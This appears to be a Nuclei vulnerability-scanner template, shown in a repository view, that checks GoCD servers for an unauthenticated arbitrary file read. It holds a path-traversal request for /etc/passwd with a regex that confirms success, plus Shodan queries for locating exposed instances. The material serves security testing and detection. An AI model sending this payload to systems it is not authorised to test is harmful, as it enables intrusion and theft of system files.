nuclei-templates/misconfiguration/gocd/gocd-arbitrary-file.yaml

28 lines
757 B
YAML
Raw Normal View History

id: gocd-arbitrary-file
2021-11-04 20:00:11 +00:00
info:
2021-11-04 20:16:11 +00:00
name: GoCD Arbitrary File
2021-11-04 20:00:11 +00:00
author: dhiyaneshDk
severity: critical
reference:
- https://attackerkb.com/assessments/9101a539-4c6e-4638-a2ec-12080b7e3b50
- https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover
- https://twitter.com/wvuuuuuuuuuuuuu/status/1456316586831323140
tags: go,lfi,gocd
metadata:
shodan-query: 'http.title:"Create a pipeline - Go"'
2021-11-04 21:21:18 +00:00
shodan-query: 'html:"GoCD Version"'
2021-11-04 20:00:11 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- "root:.*:0:0:"